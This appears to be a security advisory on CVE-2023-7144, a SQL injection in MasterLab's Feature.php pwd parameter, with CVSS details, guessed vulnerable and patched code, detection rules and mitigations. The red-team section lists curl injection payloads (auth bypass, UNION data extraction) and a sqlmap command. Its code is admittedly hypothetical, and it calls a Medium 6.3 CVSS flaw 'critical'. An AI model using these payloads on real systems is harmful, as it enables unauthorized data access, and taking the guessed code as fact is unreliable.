CVE-2023-7144

Executive Summary

CVE-2023-7144 is a critical SQL injection vulnerability discovered in the Gopeak MasterLab application, affecting versions up to and including 3.3.10. The flaw resides in the sqlInject function within the file app/ctrl/framework/Feature.php, specifically in the HTTP POST request handler. By manipulating the pwd argument, an unauthenticated attacker can inject arbitrary SQL commands, leading to unauthorized data access, modification, or potential system compromise. The exploit has been publicly disclosed, increasing the risk of active exploitation. No official patch has been released by the vendor, making this a high-priority issue for any organization using the affected software.

Supply Chain & Package Security

This vulnerability is not associated with a standard package manager (NPM, PyPI, Go, Ruby) but is a custom PHP application. The risk is amplified by the lack of a vendor patch, meaning organizations must rely on custom mitigations or workarounds.

CVSS Breakdown & Threat Level

• CVSS Score: 6.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Attack Vector: Network (AV:N) - Exploitable remotely.
• Attack Complexity: Low (AC:L) - No special conditions required.
• Privileges Required: None (PR:N) - No authentication needed.
• User Interaction: None (UI:N) - No user action required.
• Scope: Unchanged (S:U) - Impact confined to the vulnerable component.
• Confidentiality Impact: Low (C:L) - Limited data exposure.
• Integrity Impact: Low (I:L) - Limited data modification.
• Availability Impact: Low (A:L) - Potential for service disruption.

Threat Level: High due to public exploit availability, no patch, and low attack complexity.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the sqlInject function of Feature.php. The application fails to properly sanitize user-supplied input passed via the pwd parameter in HTTP POST requests. This allows an attacker to break out of the intended SQL query structure and execute arbitrary SQL statements.

The vulnerable code likely constructs a SQL query by directly concatenating the pwd value without using parameterized queries or prepared statements. For example, a query might look like:

SELECT * FROM users WHERE password = '$pwd'

An attacker can input a value like ' OR '1'='1 to bypass authentication or ' UNION SELECT ... to extract data from other tables.

The sqlInject function name suggests it was intended to detect or prevent injection, but its implementation is flawed, allowing the attack to succeed.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on the vulnerability description.

Vulnerable Code (app/ctrl/framework/Feature.php):

function sqlInject($input) {
    // Flawed sanitization - does not prevent injection
    return $input;
}

$pwd = $_POST['pwd'];
$query = "SELECT * FROM users WHERE password = '$pwd'";
$result = mysqli_query($conn, $query);

Patched Code (Hypothetical):

function sqlInject($input) {
    // Proper sanitization using prepared statements
    global $conn;
    $stmt = $conn->prepare("SELECT * FROM users WHERE password = ?");
    $stmt->bind_param("s", $input);
    $stmt->execute();
    return $stmt->get_result();
}

$pwd = $_POST['pwd'];
$result = sqlInject($pwd);

The patched version uses a prepared statement with a parameterized query, which prevents SQL injection by separating SQL logic from user data.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy a vulnerable instance of MasterLab 3.3.10 in a controlled environment (e.g., Docker container).
2. Use a tool like Burp Suite or cURL to send malicious POST requests.

Exploit Steps:

1. Identify the vulnerable endpoint (likely /index.php?c=framework&a=feature or similar).
2. Craft a POST request with a malicious pwd parameter.

Example cURL command:

curl -X POST http://target.com/index.php?c=framework&a=feature \
  -d "pwd=' OR '1'='1' -- -"

Advanced Exploit (Data Exfiltration):

curl -X POST http://target.com/index.php?c=framework&a=feature \
  -d "pwd=' UNION SELECT username, password FROM users -- -"

Automated Exploitation with SQLMap:

sqlmap -u "http://target.com/index.php?c=framework&a=feature" \
  --data="pwd=test" --batch --dbs

Blue Team (Defensive)

Detection:

• Monitor HTTP POST requests to the vulnerable endpoint for suspicious pwd values containing SQL keywords (e.g., OR, UNION, SELECT, --).
• Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.

Mitigation:

• Immediately restrict access to the vulnerable endpoint using network ACLs or reverse proxy rules.
• Implement input validation and parameterized queries in the application code.
• If patching is not possible, consider disabling the vulnerable feature or applying a virtual patch via WAF.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests to /index.php?c=framework&a=feature with unusual pwd parameters.
  • SQL error messages in HTTP responses (e.g., "You have an error in your SQL syntax").
  • Outbound database connections from the web server to unexpected IPs (data exfiltration).

• File IOCs:

  • Modified or new files in the MasterLab installation directory (e.g., webshells).
  • Suspicious entries in web server access logs (e.g., ' OR '1'='1 in the request body).

• System IOCs:

  • Unusual database queries or high query volume.
  • New user accounts or privilege escalations in the application database.

Detection Engineering

YARA Rule

rule CVE_2023_7144_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2023-7144 in MasterLab"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-7144"
    strings:
        $sqli1 = /pwd=.*['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/i
        $sqli2 = /pwd=.*\b(1=1|1=2|admin'|' OR '1'='1)\b/i
    condition:
        any of them
}

Sigma Rule

title: SQL Injection Attempt Against MasterLab CVE-2023-7144
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts targeting the pwd parameter in MasterLab
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: 'c=framework&a=feature'
        cs-uri-post: 'pwd=*'
    condition: selection
    keywords:
        - ' OR '
        - ' AND '
        - ' UNION '
        - ' SELECT '
        - ' 1=1'
        - ' --'
falsepositives:
    - Legitimate use of special characters in passwords (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-7144 SQL Injection Attempt"; flow:to_server; content:"POST"; http_method; content:"/index.php"; http_uri; content:"c=framework&a=feature"; http_uri; content:"pwd="; http_client_body; pcre:"/pwd=.*['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Isolate affected systems from the network if possible.
   • Apply a virtual patch using a WAF to block SQL injection patterns.
   • Restrict access to the vulnerable endpoint to trusted IPs only.

2. Long-term Fix:

   • Since no official patch exists, consider migrating to an alternative solution or forking the project to implement proper input sanitization.
   • Rewrite the sqlInject function to use prepared statements or parameterized queries.
   • Conduct a full security audit of the application.

3. Monitoring:

   • Enable detailed logging for all HTTP POST requests.
   • Set up alerts for any SQL injection patterns detected in logs.

4. User Communication:

   • Inform users of the vulnerability and advise them to change passwords if the application was compromised.

Valters IT